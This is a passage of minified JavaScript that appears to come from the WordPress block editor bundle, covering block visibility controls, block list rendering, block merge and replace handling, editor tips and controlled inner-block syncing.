block.&quot;)}),(0,ro.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-visibility-modal__options&quot;,children:(0,ro.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-visibility-modal__options-item block-editor-block-visibility-modal__options-item--everywhere&quot;,children:[(0,ro.jsx)(Gr.CheckboxControl,{className:&quot;block-editor-block-visibility-modal__options-checkbox--everywhere&quot;,label:(0,mo.__)(&quot;Omit from published content&quot;),checked:u===!0,indeterminate:u===null,onChange:k=&gt;{d(k),c(MSe)}}),u!==!0&amp;&amp;(0,ro.jsx)(&quot;ul&quot;,{className:&quot;block-editor-block-visibility-modal__sub-options&quot;,children:iu.map(([,{label:k,icon:y,key:S}])=&gt;(0,ro.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-visibility-modal__options-item&quot;,children:[(0,ro.jsx)(Gr.CheckboxControl,{label:(0,mo.sprintf)((0,mo.__)(&quot;Hide on %s&quot;),k),checked:a[S]??!1,indeterminate:a[S]===null,onChange:x=&gt;f(S,x)}),(0,ro.jsx)(Gr.Icon,{icon:y,className:V({&quot;block-editor-block-visibility-modal__options-icon--checked&quot;:a[S]})})]},S))})]})}),v&amp;&amp;g&amp;&amp;(0,ro.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-visibility-modal__description&quot;,children:(0,mo.__)(&quot;Selected blocks have different visibility settings. The checkboxes show an indeterminate state when settings differ.&quot;)}),!v&amp;&amp;u===!0&amp;&amp;(0,ro.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-visibility-modal__description&quot;,children:(0,mo.sprintf)((0,mo.__)(&quot;Block will be hidden in the editor, and omitted from the published markup on the frontend. You can configure it again by selecting it in the List View (%s).&quot;),i)}),!v&amp;&amp;!u&amp;&amp;h&amp;&amp;(0,ro.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-visibility-modal__description&quot;,children:(0,gn.createInterpolateElement)((0,mo.sprintf)((0,mo.__)(&quot;Block will be hidden according to the selected viewports. It will be &lt;strong&gt;included in the published markup on the frontend&lt;/strong&gt;. You can configure it again by selecting it in the List View (%s).&quot;),i),{strong:(0,ro.jsx)(&quot;strong&quot;,{})})})]}),(0,ro.jsxs)(Gr.Flex,{className:&quot;block-editor-block-visibility-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,ro.jsx)(Gr.FlexItem,{children:(0,ro.jsx)(Gr.Button,{variant:&quot;tertiary&quot;,onClick:t,__next40pxDefaultSize:!0,children:(0,mo.__)(&quot;Cancel&quot;)})}),(0,ro.jsx)(Gr.FlexItem,{children:(0,ro.jsx)(Gr.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,disabled:!p,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,mo.__)(&quot;Apply&quot;)})})]})]})})}var CD=l(Z(),1);function Mi(e={}){let{blockVisibility:t=void 0,deviceType:o=Et.desktop.key,view:r=window}=e,n=(0,CD.useViewportMatch)(&quot;mobile&quot;,&quot;&gt;=&quot;,r),i=(0,CD.useViewportMatch)(&quot;medium&quot;,&quot;&gt;=&quot;,r),s;return o===Et.mobile.key?s=Et.mobile.key:o===Et.tablet.key?s=Et.tablet.key:n?n&amp;&amp;!i?s=Et.tablet.key:s=Et.desktop.key:s=Et.mobile.key,{isBlockCurrentlyHidden:t===!1||t?.viewport?.[s]===!1,currentViewport:s}}var BD=l(N(),1),r1=l(A(),1),n1=l(R(),1);var s9=l($(),1),i1=l(F(),1);var ED=l(w(),1);function TD({clientIds:e}){let t=(0,n1.useRef)(!1),{canToggleBlockVisibility:o,areBlocksHiddenAnywhere:r}=(0,i1.useSelect)(s=&gt;{let{getBlocksByClientId:a,getBlockName:c,isBlockHiddenAnywhere:u}=M(s(_));return{canToggleBlockVisibility:a(e).every(({clientId:f})=&gt;(0,s9.hasBlockSupport)(c(f),&quot;visibility&quot;,!0)),areBlocksHiddenAnywhere:e?.every(f=&gt;u(f))}},[e]),n=(0,i1.useDispatch)(_);if((0,n1.useEffect)(()=&gt;{r&amp;&amp;(t.current=!0)},[r]),!r&amp;&amp;!t.current)return null;let{showViewportModal:i}=M(n);return(0,ED.jsx)(r1.ToolbarGroup,{className:&quot;block-editor-block-visibility-toolbar&quot;,children:(0,ED.jsx)(r1.ToolbarButton,{disabled:!o,icon:r?vs:Af,label:r?(0,BD.__)(&quot;Hidden&quot;):(0,BD.__)(&quot;Visible&quot;),onClick:()=&gt;i(e),&quot;aria-haspopup&quot;:&quot;dialog&quot;})})}var ID=l(N(),1),a9=l(A(),1),s1=l(F(),1),l9=l(Is(),1);var c9=l(w(),1);function PD({clientIds:e}){let{areBlocksHiddenAnywhere:t,shortcut:o}=(0,s1.useSelect)(n=&gt;{let{isBlockHiddenAnywhere:i}=M(n(_));return{areBlocksHiddenAnywhere:e?.every(s=&gt;i(s)),shortcut:n(l9.store).getShortcutRepresentation(&quot;core/block-editor/toggle-block-visibility&quot;)}},[e]),{showViewportModal:r}=M((0,s1.useDispatch)(_));return(0,c9.jsx)(a9.MenuItem,{onClick:()=&gt;r(e),shortcut:o,children:t?(0,ID.__)(&quot;Show&quot;):(0,ID.__)(&quot;Hide&quot;)})}var Lu=l(A(),1),RD=l(F(),1),Au=l(N(),1);var wh=l(w(),1),{Badge:VSe}=M(Lu.privateApis),FSe={currentBlockVisibility:void 0,hasParentHiddenEverywhere:!1,selectedDeviceType:Et.desktop.value};function u9({clientId:e}){let{currentBlockVisibility:t,selectedDeviceType:o,hasParentHiddenEverywhere:r}=(0,RD.useSelect)(f=&gt;{if(!e)return FSe;let{getBlockAttributes:m,isBlockParentHiddenEverywhere:h,getSettings:p}=M(f(_));return{currentBlockVisibility:m(e)?.metadata?.blockVisibility,selectedDeviceType:p()?.[wi]?.toLowerCase()||Et.desktop.value,hasParentHiddenEverywhere:h(e)}},[e]),i=Xe(e)?.ownerDocument?.defaultView,s=i===null?void 0:i,{isBlockCurrentlyHidden:a,currentViewport:c}=Mi({blockVisibility:t,deviceType:o,view:s}),u=(0,RD.useSelect)(f=&gt;!e||!c?!1:M(f(_)).isBlockParentHiddenAtViewport(e,c),[e,c]);if(!(a||r||u))return null;let d;if(a)if(t===!1)d=(0,Au.__)(&quot;Block is hidden&quot;);else{let f=Et[c]?.label||c;d=(0,Au.sprintf)((0,Au.__)(&quot;Block is hidden on %s&quot;),f)}if(r)d=(0,Au.__)(&quot;Parent block is hidden&quot;);else if(u){let f=Et[c]?.label||c;d=(0,Au.sprintf)((0,Au.__)(&quot;Parent block is hidden on %s&quot;),f)}return(0,wh.jsx)(VSe,{className:&quot;block-editor-block-visibility-info&quot;,children:(0,wh.jsxs)(Lu.__experimentalHStack,{spacing:2,justify:&quot;start&quot;,children:[(0,wh.jsx)(Lu.Icon,{icon:vs}),(0,wh.jsx)(Lu.__experimentalText,{children:d})]})})}function ky(e={},{__unstableIsHtml:t}={}){let{clientId:o,className:r,wrapperProps:n={},isAligned:i,index:s,mode:a,name:c,blockApiVersion:u,blockTitle:d,isSelected:f,isSubtreeDisabled:m,hasOverlay:h,initialPosition:p,blockEditingMode:g,isHighlighted:b,isMultiSelected:v,isPartiallySelected:k,isReusable:y,isDragging:S,hasChildSelected:x,isEditingDisabled:C,hasEditableOutline:B,isEditingContentOnlySection:I,defaultClassName:P,isSectionBlock:E,isWithinSectionBlock:L,canMove:T,blockVisibility:O,deviceType:D}=(0,d9.useContext)(ur),U=(0,Ch.useRefEffect)(Y=&gt;{if(Y){let{ownerDocument:J}=Y,{defaultView:K}=J;U.current=K}},[]),G=(0,a1.sprintf)((0,a1.__)(&quot;Block: %s&quot;),d),j=a===&quot;html&quot;&amp;&amp;!t?&quot;-visual&quot;:&quot;&quot;,z=e9(),W=!L,ee=(0,Ch.useMergeRefs)([e.ref,U,M7({clientId:o,initialPosition:p}),VH(o),z7(o),G7({clientId:o,isSelected:f}),V7({isEnabled:W}),K7(),YC({triggerAnimationOnChange:s,clientId:o}),(0,Ch.useDisabled)({isDisabled:!h}),o1({clientId:o,isEnabled:E}),Y7({isSelected:f}),T?z:void 0]),se=Ie(),ie=!!se[Rp]?{&quot;--wp-admin-theme-color&quot;:&quot;var(--wp-block-synced-color)&quot;,&quot;--wp-admin-theme-color--rgb&quot;:&quot;var(--wp-block-synced-color--rgb)&quot;}:{},{isBlockCurrentlyHidden:re}=Mi({blockVisibility:O,deviceType:D,view:U.current});u&lt;2&amp;&amp;o===se.clientId&amp;&amp;(0,m9.default)(`Block type &quot;${c}&quot; must support API version 2 or higher to work correctly with &quot;useBlockProps&quot; method.`);let Q=!1;return(n?.style?.marginTop?.charAt(0)===&quot;-&quot;||n?.style?.marginBottom?.charAt(0)===&quot;-&quot;||n?.style?.marginLeft?.charAt(0)===&quot;-&quot;||n?.style?.marginRight?.charAt(0)===&quot;-&quot;)&amp;&amp;(Q=!0),{tabIndex:g===&quot;disabled&quot;?-1:0,draggable:T&amp;&amp;!x?!0:void 0,...n,...e,ref:ee,id:`block-${o}${j}`,role:&quot;document&quot;,&quot;aria-label&quot;:G,&quot;data-block&quot;:o,&quot;data-type&quot;:c,&quot;data-title&quot;:d,inert:m?&quot;true&quot;:void 0,className:V(&quot;block-editor-block-list__block&quot;,{&quot;wp-block&quot;:!i,&quot;has-block-overlay&quot;:h,&quot;is-selected&quot;:f,&quot;is-highlighted&quot;:b,&quot;is-multi-selected&quot;:v,&quot;is-partially-selected&quot;:k,&quot;is-reusable&quot;:y,&quot;is-dragging&quot;:S,&quot;has-child-selected&quot;:x,&quot;is-editing-disabled&quot;:C,&quot;has-editable-outline&quot;:B,&quot;has-negative-margin&quot;:Q,&quot;is-editing-content-only-section&quot;:I,&quot;is-block-hidden&quot;:re},r,e.className,n.className,P),style:{...n.style,...e.style,...ie}}}ky.save=f9.__unstableGetBlockProps;var po=l(w(),1);function zSe(e,t){let o={...e,...t};return e?.hasOwnProperty(&quot;className&quot;)&amp;&amp;t?.hasOwnProperty(&quot;className&quot;)&amp;&amp;(o.className=V(e.className,t.className)),e?.hasOwnProperty(&quot;style&quot;)&amp;&amp;t?.hasOwnProperty(&quot;style&quot;)&amp;&amp;(o.style={...e.style,...t.style}),o}function l1({children:e,isHtml:t,...o}){return(0,po.jsx)(&quot;div&quot;,{...ky(o,{__unstableIsHtml:t}),children:e})}function OD({block:{__unstableBlockSource:e},mode:t,isLocked:o,canRemove:r,clientId:n,isSelected:i,isSelectionEnabled:s,className:a,__unstableLayoutClassNames:c,name:u,isValid:d,attributes:f,wrapperProps:m,setAttributes:h,onReplace:p,onRemove:g,onInsertBlocksAfter:b,onMerge:v,toggleSelection:k}){let{mayDisplayControls:y,mayDisplayParentControls:S,isSelectionWithinCurrentSection:x,themeSupportsLayout:C,...B}=(0,Nu.useContext)(ur),I=Uf()||{},P=(0,po.jsx)(Fw,{name:u,isSelected:i,attributes:f,setAttributes:h,insertBlocksAfter:o?void 0:b,onReplace:r?p:void 0,onRemove:r?g:void 0,mergeBlocks:r?v:void 0,clientId:n,isSelectionEnabled:s,toggleSelection:k,__unstableLayoutClassNames:c,__unstableParentLayout:Object.keys(I).length?I:void 0,mayDisplayControls:y,mayDisplayParentControls:S,mayDisplayPatternEditingControls:x,blockEditingMode:B.blockEditingMode,isPreviewMode:B.isPreviewMode}),E=(0,He.getBlockType)(u);E?.getEditWrapperProps&amp;&amp;(m=zSe(m,E.getEditWrapperProps(f)));let L=m&amp;&amp;!!m[&quot;data-align&quot;]&amp;&amp;!C,T=a?.includes(&quot;is-position-sticky&quot;);L&amp;&amp;(P=(0,po.jsx)(&quot;div&quot;,{className:V(&quot;wp-block&quot;,T&amp;&amp;a),&quot;data-align&quot;:m[&quot;data-align&quot;],children:P}));let O;if(d)t===&quot;html&quot;?O=(0,po.jsxs)(po.Fragment,{children:[(0,po.jsx)(&quot;div&quot;,{style:{display:&quot;none&quot;},children:P}),(0,po.jsx)(l1,{isHtml:!0,children:(0,po.jsx)(T8,{clientId:n})})]}):E?.apiVersion&gt;1?O=P:O=(0,po.jsx)(l1,{children:P});else{let j=e?(0,He.serializeRawBlock)(e):(0,He.getSaveContent)(E,f);O=(0,po.jsxs)(l1,{className:&quot;has-warning&quot;,children:[(0,po.jsx)(o8,{clientId:n}),(0,po.jsx)(Nu.RawHTML,{children:(0,h9.safeHTML)(j)})]})}let{&quot;data-align&quot;:D,...U}=m??{},G={...U,className:V(U.className,D&amp;&amp;C&amp;&amp;`align${D}`,!(D&amp;&amp;T)&amp;&amp;a)};return(0,po.jsx)(ur.Provider,{value:{wrapperProps:G,isAligned:L,isSelectionWithinCurrentSection:x,...B},children:(0,po.jsx)(a8,{fallback:(0,po.jsx)(l1,{className:&quot;has-warning&quot;,children:(0,po.jsx)(i8,{})}),children:O})})}var jSe=(0,c1.withDispatch)((e,t,o)=&gt;{let{updateBlockAttributes:r,insertBlocks:n,mergeBlocks:i,replaceBlocks:s,toggleSelection:a,__unstableMarkLastChangeAsPersistent:c,moveBlocksToPosition:u,removeBlock:d,selectBlock:f}=e(_);return{setAttributes(m){let{getMultiSelectedBlockClientIds:h}=o.select(_),p=h(),{clientId:g,attributes:b}=t,v=p.length?p:[g],k=typeof m==&quot;function&quot;?m(b):m;r(v,k)},onInsertBlocks(m,h){let{rootClientId:p}=t;n(m,h,p)},onInsertBlocksAfter(m){let{clientId:h,rootClientId:p}=t,{getBlockIndex:g}=o.select(_),b=g(h);n(m,b+1,p)},onMerge(m){let{clientId:h,rootClientId:p}=t,{getPreviousBlockClientId:g,getNextBlockClientId:b,getBlock:v,getBlockAttributes:k,getBlockName:y,getBlockOrder:S,getBlockIndex:x,getBlockRootClientId:C,canInsertBlockType:B}=o.select(_);function I(){let E=v(h),L=(0,He.getDefaultBlockName)(),T=(0,He.getBlockType)(L);if(y(h)!==L){let O=(0,He.switchToBlockType)(E,L);O&amp;&amp;O.length&amp;&amp;s(h,O)}else if((0,He.isUnmodifiedDefaultBlock)(E)){let O=b(h);O&amp;&amp;o.batch(()=&gt;{d(h),f(O)})}else if(T.merge){let O=T.merge({},E.attributes);s([h],[(0,He.createBlock)(L,O)])}}function P(E,L=!0){let T=y(E),D=(0,He.getBlockType)(T).category===&quot;text&quot;,U=C(E),G=S(E),[j]=G;G.length===1&amp;&amp;(0,He.isUnmodifiedBlock)(v(j))?d(E):D?o.batch(()=&gt;{if(B(y(j),U))u([j],E,U,x(E));else{let z=(0,He.switchToBlockType)(v(j),(0,He.getDefaultBlockName)());z&amp;&amp;z.length&amp;&amp;z.every(W=&gt;B(W.name,U))?(n(z,x(E),U,L),d(j,!1)):I()}!S(E).length&amp;&amp;(0,He.isUnmodifiedBlock)(v(E))&amp;&amp;d(E,!1)}):I()}if(m){if(p){let L=b(p);if(L)if(y(p)===y(L)){let T=k(p),O=k(L);if(Object.keys(T).every(D=&gt;T[D]===O[D])){o.batch(()=&gt;{u(S(L),L,p),d(L,!1)});return}}else{i(p,L);return}}let E=b(h);if(!E)return;S(E).length?P(E,!1):i(h,E)}else{let E=g(h);if(E)i(E,h);else if(p){let L=g(p);if(L&amp;&amp;y(p)===y(L)){let T=k(p),O=k(L);if(Object.keys(T).every(D=&gt;T[D]===O[D])){o.batch(()=&gt;{u(S(p),p,L),d(p,!1)});return}}P(p)}else I()}},onReplace(m,h,p){m.length&amp;&amp;!(0,He.isUnmodifiedDefaultBlock)(m[m.length-1])&amp;&amp;c();let g=m?.length===1&amp;&amp;Array.isArray(m[0])?m[0]:m;s([t.clientId],g,h,p)},onRemove(){d(t.clientId)},toggleSelection(m){a(m)}}});OD=(0,u1.compose)(jSe,(0,p9.withFilters)(&quot;editor.BlockListBlock&quot;))(OD);function USe(e){let{clientId:t,rootClientId:o}=e,r=(0,c1.useSelect)(ne=&gt;{let{isBlockSelected:le,getBlockMode:ve,isSelectionEnabled:he,getTemplateLock:xe,isSectionBlock:ze,getParentSectionBlock:ot,getBlockWithoutAttributes:Wt,getBlockAttributes:fo,canRemoveBlock:Do,canMoveBlock:rt,getSettings:ar,getEditedContentOnlySection:xt,getBlockEditingMode:At,getBlockName:Pe,isFirstMultiSelectedBlock:wt,getMultiSelectedBlockClientIds:qo,hasSelectedInnerBlock:$t,getBlocksByName:lr,getBlockIndex:ln,isBlockMultiSelected:je,isBlockSubtreeDisabled:Eo,isBlockHighlighted:Ze,__unstableIsFullySelected:Ve,__unstableSelectionHasUnmergeableBlock:gt,isBlockBeingDragged:To,isDragging:cr,__unstableHasActiveBlockOverlayActive:ge,getSelectedBlocksInitialCaretPosition:Ct}=M(ne(_)),Io=Wt(t);if(!Io)return;let{hasBlockSupport:Ke,getActiveBlockVariation:te}=ne(He.store),Le=fo(t),{name:ct,isValid:Gc}=Io,ua=(0,He.getBlockType)(ct),Bp=ar(),{supportsLayout:jk,isPreviewMode:hf,__experimentalBlockBindingsSupportedAttributes:cn}=Bp,Ep=cn?.[ct],Tp=Le?.metadata?.blockVisibility,s0=Bp?.[wi]?.toLowerCase()||&quot;desktop&quot;,a0=ua?.apiVersion&gt;1,Uk=je(t),ue=At(t),to={isPreviewMode:hf,blockWithoutAttributes:Io,name:ct,attributes:Le,isValid:Gc,themeSupportsLayout:jk,index:ln(t),isReusable:(0,He.isReusableBlock)(ua),className:a0?Le.className:void 0,defaultClassName:a0?(0,He.getBlockDefaultClassName)(ct):void 0,blockTitle:ua?.title,bindableAttributes:Ep,blockVisibility:Tp,deviceType:s0,isMultiSelected:Uk,blockEditingMode:ue,isEditingDisabled:ue===&quot;disabled&quot;};if(hf)return to;let ye=le(t),Lt=Do(t),un=rt(t),_r=te(ct,Le),Wc=!0,mO=$t(t,Wc),pO=ze(t)?t:ot(t),hO=(0,He.hasBlockSupport)(ct,&quot;multiple&quot;,!0)?[]:lr(ct),Ume=hO.length&amp;&amp;hO[0]!==t;return{...to,mode:ve(t),isSelectionEnabled:he(),isLocked:!!xe(o),isSectionBlock:ze(t),isWithinSectionBlock:!!pO,isSelectionWithinCurrentSection:le(pO)||$t(pO,Wc),blockType:ua,canRemove:Lt,canMove:un,isSelected:ye,isEditingContentOnlySection:xt()===t,blockEditingMode:ue,mayDisplayControls:ye||wt(t)&amp;&amp;qo().every(Hme=&gt;Pe(Hme)===ct),mayDisplayParentControls:Ke(Pe(t),&quot;__experimentalExposeControlsToChildren&quot;,!1)&amp;&amp;$t(t),blockApiVersion:ua?.apiVersion||1,blockTitle:_r?.title||ua?.title,isSubtreeDisabled:ue===&quot;disabled&quot;&amp;&amp;Eo(t),hasOverlay:ge(t)&amp;&amp;!cr(),initialPosition:ye?Ct():void 0,isHighlighted:Ze(t),isMultiSelected:Uk,isPartiallySelected:Uk&amp;&amp;!Ve()&amp;&amp;!gt(),isDragging:To(t),hasChildSelected:mO,isEditingDisabled:ue===&quot;disabled&quot;,hasEditableOutline:ue!==&quot;disabled&quot;&amp;&amp;At(o)===&quot;disabled&quot;,originalBlockClientId:Ume?hO[0]:!1,blockVisibility:Tp,deviceType:s0}},[t,o]),n=(0,u1.useRefEffect)(ne=&gt;{if(ne){let{ownerDocument:le}=ne,{defaultView:ve}=le;n.current=ve}},[]),{isBlockCurrentlyHidden:i}=Mi({blockVisibility:r?.blockVisibility,deviceType:r?.deviceType,view:n.current}),s=(0,Nu.useMemo)(()=&gt;({...r?.blockWithoutAttributes,attributes:r?.attributes}),[r?.blockWithoutAttributes,r?.attributes]);if(!r)return null;let{isPreviewMode:a,mode:c=&quot;visual&quot;,isSelectionEnabled:u=!1,isLocked:d=!1,canRemove:f=!1,canMove:m=!1,name:h,attributes:p,isValid:g,isSelected:b=!1,themeSupportsLayout:v,isEditingContentOnlySection:k,blockEditingMode:y,mayDisplayControls:S,mayDisplayParentControls:x,index:C,blockApiVersion:B,blockType:I,blockTitle:P,isSubtreeDisabled:E,hasOverlay:L,initialPosition:T,isHighlighted:O,isMultiSelected:D,isPartiallySelected:U,isReusable:G,isDragging:j,hasChildSelected:z,isSectionBlock:W,isWithinSectionBlock:ee,isSelectionWithinCurrentSection:se,isEditingDisabled:ce,hasEditableOutline:ie,className:re,defaultClassName:Q,originalBlockClientId:Y,bindableAttributes:J,blockVisibility:K,deviceType:H}=r,X={isPreviewMode:a,clientId:t,className:re,index:C,mode:c,name:h,blockApiVersion:B,blockType:I,blockTitle:P,isSelected:b,isSubtreeDisabled:E,hasOverlay:L,initialPosition:T,blockEditingMode:y,isHighlighted:O,isMultiSelected:D,isPartiallySelected:U,isReusable:G,isDragging:j,hasChildSelected:z,isSectionBlock:W,isWithinSectionBlock:ee,isSelectionWithinCurrentSection:se,isEditingDisabled:ce,hasEditableOutline:ie,isEditingContentOnlySection:k,defaultClassName:Q,mayDisplayControls:S,mayDisplayParentControls:x,originalBlockClientId:Y,themeSupportsLayout:v,canMove:m,isBlockCurrentlyHidden:i,bindableAttributes:J,blockVisibility:K,deviceType:H};return i&amp;&amp;!b&amp;&amp;!D&amp;&amp;!z?null:(0,po.jsx)(ur.Provider,{value:X,children:(0,po.jsx)(OD,{...e,mode:c,isSelectionEnabled:u,isLocked:d,canRemove:f,canMove:m,block:s,name:h,attributes:p,isValid:g,isSelected:b})})}var g9=(0,Nu.memo)(USe);var Y5=l(F(),1),uY=l($(),1);var $5=l(N(),1),iY=l(SM(),1),AB=l(F(),1),LB=l(it(),1);var rY=l(Xo(),1),Gl=l(N(),1),PB=l(A(),1),nY=l(R(),1),RB=l(F(),1),OB=l(Z(),1),Yy=l($(),1);var Ft=l(R(),1),lg=l(A(),1),Xu=l(N(),1),Wy=l(Z(),1),QK=l(F(),1);var Bh=l(N(),1),Eh=l(R(),1),k9=l(A(),1),vy=l(w(),1),b9=[(0,Eh.createInterpolateElement)((0,Bh.__)(&quot;While writing, you can press &lt;kbd&gt;/&lt;/kbd&gt; to quickly insert new blocks.&quot;),{kbd:(0,vy.jsx)(&quot;kbd&quot;,{})}),(0,Eh.createInterpolateElement)((0,Bh.__)(&quot;Indent a list by pressing &lt;kbd&gt;space&lt;/kbd&gt; at the beginning of a line.&quot;),{kbd:(0,vy.jsx)(&quot;kbd&quot;,{})}),(0,Eh.createInterpolateElement)((0,Bh.__)(&quot;Outdent a list by pressing &lt;kbd&gt;backspace&lt;/kbd&gt; at the beginning of a line.&quot;),{kbd:(0,vy.jsx)(&quot;kbd&quot;,{})}),(0,Bh.__)(&quot;Drag files into the editor to automatically insert media blocks.&quot;),(0,Bh.__)(&quot;Change a block&#039;s type by pressing the block icon on the toolbar.&quot;)];function HSe(){let[e]=(0,Eh.useState)(Math.floor(Math.random()*b9.length));return(0,vy.jsx)(k9.Tip,{children:b9[e]})}var v9=HSe;var $h=l($(),1),N$=l(R(),1),M$=l(N(),1);var bn=l(A(),1),d1=l(F(),1),y9=l(Re(),1),Mu=l(N(),1);var f1=l($(),1);var Cr=l(w(),1),{Badge:GSe}=M(bn.privateApis);function WSe({children:e,onClick:t}){return t?(0,Cr.jsx)(bn.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-block-card__parent-select-button&quot;,onClick:t,children:e}):e}function $Se({title:e,icon:t,description:o,blockType:r,className:n,name:i,allowParentNavigation:s,parentClientId:a,isChild:c,children:u,clientId:d}){r&amp;&amp;((0,y9.default)(&quot;`blockType` property in `BlockCard component`&quot;,{since:&quot;5.7&quot;,alternative:&quot;`title, icon and description` properties&quot;}),{title:e,icon:t,description:o}=r);let{parentBlockClientId:f,parentBlockName:m}=(0,d1.useSelect)(g=&gt;{if(a||c||!s)return{};let{getBlockParents:b,getBlockName:v}=g(_),y=b(d,!1).find(S=&gt;{let x=v(S);return x===&quot;core/navigation&quot;||(0,f1.hasBlockSupport)(x,&quot;listView&quot;)});return{parentBlockClientId:y,parentBlockName:y?v(y):null}},[d,s,c,a]),{selectBlock:h}=(0,d1.useDispatch)(_),p=a?&quot;div&quot;:&quot;h2&quot;;return(0,Cr.jsx)(&quot;div&quot;,{className:V(&quot;block-editor-block-card&quot;,{&quot;is-parent&quot;:a,&quot;is-child&quot;:c},n),children:(0,Cr.jsxs)(bn.__experimentalVStack,{children:[(0,Cr.jsxs)(bn.__experimentalHStack,{justify:&quot;flex-start&quot;,spacing:0,children:[f&amp;&amp;(0,Cr.jsx)(bn.Button,{onClick:()=&gt;h(f),label:m?(0,Mu.sprintf)((0,Mu.__)(&#039;Go to &quot;%s&quot; block&#039;),(0,f1.getBlockType)(m)?.title):(0,Mu.__)(&quot;Go to parent block&quot;),style:{minWidth:24,padding:0},icon:(0,Mu.isRTL)()?Vo:Mr,size:&quot;small&quot;}),c&amp;&amp;(0,Cr.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-card__child-indicator-icon&quot;,children:(0,Cr.jsx)(bn.Icon,{icon:(0,Mu.isRTL)()?Xk:Qk})}),(0,Cr.jsxs)(WSe,{onClick:a?()=&gt;{h(a)}:void 0,children:[(0,Cr.jsx)(Ae,{icon:t,showColors:!0}),(0,Cr.jsxs)(bn.__experimentalVStack,{spacing:1,children:[(0,Cr.jsxs)(p,{className:&quot;block-editor-block-card__title&quot;,children:[(0,Cr.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-card__name&quot;,children:i?.length?i:e}),!a&amp;&amp;!c&amp;&amp;!!i?.length&amp;&amp;(0,Cr.jsx)(GSe,{children:e})]}),u]})]})]}),!a&amp;&amp;!c&amp;&amp;o&amp;&amp;(0,Cr.jsx)(bn.__experimentalText,{className:&quot;block-editor-block-card__description&quot;,children:o})]})})}var yy=$Se;var Z1=l(Z(),1),w5=l(F(),1),sm=l(R(),1),x5=l(Re(),1);var z9=l(F(),1),Du=l(R(),1),j9=l(A(),1),tm=l(_9(),1);var x9=l(R(),1),Th=l(F(),1),w9=l(Z(),1);var m1=l(w(),1);function KSe(e,t,o){if(!o)return t;let r=e.get(t);return r||(r=(0,Th.createRegistry)({},t),r.registerStore(Kt,Qp),e.set(t,r)),r}var YSe=(0,w9.createHigherOrderComponent)(e=&gt;function({useSubRegistry:o=!0,...r}){let n=(0,Th.useRegistry)(),[i]=(0,x9.useState)(()=&gt;new WeakMap),s=KSe(i,n,o);return s===n?(0,m1.jsx)(e,{registry:n,...r}):(0,m1.jsx)(Th.RegistryProvider,{value:s,children:(0,m1.jsx)(e,{registry:s,...r})})},&quot;withRegistryProvider&quot;),C9=YSe;var Wr=l(R(),1),I9=l(F(),1),P9=l($(),1);var B9=l(R(),1),qSe=()=&gt;{},p1=(0,B9.createContext)({getSelection:()=&gt;{},onChangeSelection:qSe});var E9=()=&gt;{};function R9(e,t){let o=(0,P9.cloneBlock)(e);return t.externalToInternal.set(e.clientId,o.clientId),t.internalToExternal.set(o.clientId,e.clientId),e.innerBlocks?.length&amp;&amp;(o.innerBlocks=e.innerBlocks.map(r=&gt;R9(r,t))),o}function O9(e,t){return e.map(o=&gt;{let r=t.internalToExternal.get(o.clientId);return{...o,clientId:r??o.clientId,innerBlocks:O9(o.innerBlocks,t)}})}function T9(e,t){let{selectionStart:o,selectionEnd:r,initialPosition:n}=e,i=s=&gt;{if(!s?.clientId)return s;let a=t.internalToExternal.get(s.clientId);return{...s,clientId:a??s.clientId}};return{selectionStart:i(o),selectionEnd:i(r),initialPosition:n}}function h1({clientId:e=null,value:t,onChange:o=E9,onInput:r=E9}){let n=(0,I9.useRegistry)(),{getSelection:i,onChangeSelection:s}=(0,Wr.useContext)(p1),{resetBlocks:a,resetSelection:c,replaceInnerBlocks:u,setHasControlledInnerBlocks:d,__unstableMarkNextChangeAsNotPersistent:f}=n.dispatch(_),{getBlockName:m,getBlocks:h,getSelectionStart:p,getSelectionEnd:g}=n.select(_),b=(0,Wr.useRef)({incoming:null,outgoing:[]}),v=(0,Wr.useRef)(!1),k=(0,Wr.useRef)({externalToInternal:new Map,internalToExternal:new Map}),y=(0,Wr.useRef)(null),S=(0,Wr.useRef)(!1),x=()=&gt;{let E=i();if(!E?.selectionStart?.clientId||E===y.current)return;let L=E.selectionStart.clientId;if(e?k.current.externalToInternal.has(L):!!m(L)){y.current=E;let O=D=&gt;!D?.clientId||!e?D:{...D,clientId:k.current.externalToInternal.get(D.clientId)??D.clientId};S.current=!0,c(O(E.selectionStart),O(E.selectionEnd),E.initialPosition),S.current=!1}},C=()=&gt;{t&amp;&amp;(e?n.batch(()=&gt;{k.current.externalToInternal.clear(),k.current.internalToExternal.clear();let E=t.map(L=&gt;R9(L,k.current));d(e,!0),v.current&amp;&amp;(b.current.incoming=E),f(),u(e,E),y.current=null}):(v.current&amp;&amp;(b.current.incoming=t),f(),a(t)))},B=()=&gt;{f(),e?(d(e,!1),f(),u(e,[])):a([])},I=(0,Wr.useRef)(r),P=(0,Wr.useRef)(o);(0,Wr.useEffect)(()=&gt;{I.current=r,P.current=o},[r,o]),(0,Wr.useEffect)(()=&gt;{let E=b.current.outgoing.includes(t),L=h(e)===t;E?b.current.outgoing[b.current.outgoing.length-1]===t&amp;&amp;(b.current.outgoing=[]):L||(b.current.outgoing=[],C(),x())},[t,e]),(0,Wr.useEffect)(()=&gt;{let{getSelectedBlocksInitialCaretPosition:E,isLastBlockChangePersistent:L,__unstableIsLastBlockChangeIgnored:T,areInnerBlocksControlled:O,getBlockParents:D}=n.select(_),U=h(e),G=L(),j=!1,z=p(),W=g();v.current=!0;let ee=n.subscribe(()=&gt;{if(e!==null&amp;&amp;m(e)===null)return;let se=L(),ce=h(e),ie=ce!==U;if(U=ce,ie&amp;&amp;(b.current.incoming||T())){b.current.incoming=null,G=se;return}let Q=ie||j&amp;&amp;!ie&amp;&amp;se&amp;&amp;!G,Y=p(),J=g(),K=Y!==z||J!==W;K&amp;&amp;(z=Y,W=J),(Q||K)&amp;&amp;n.batch(()=&gt;{if(Q){G=se;let 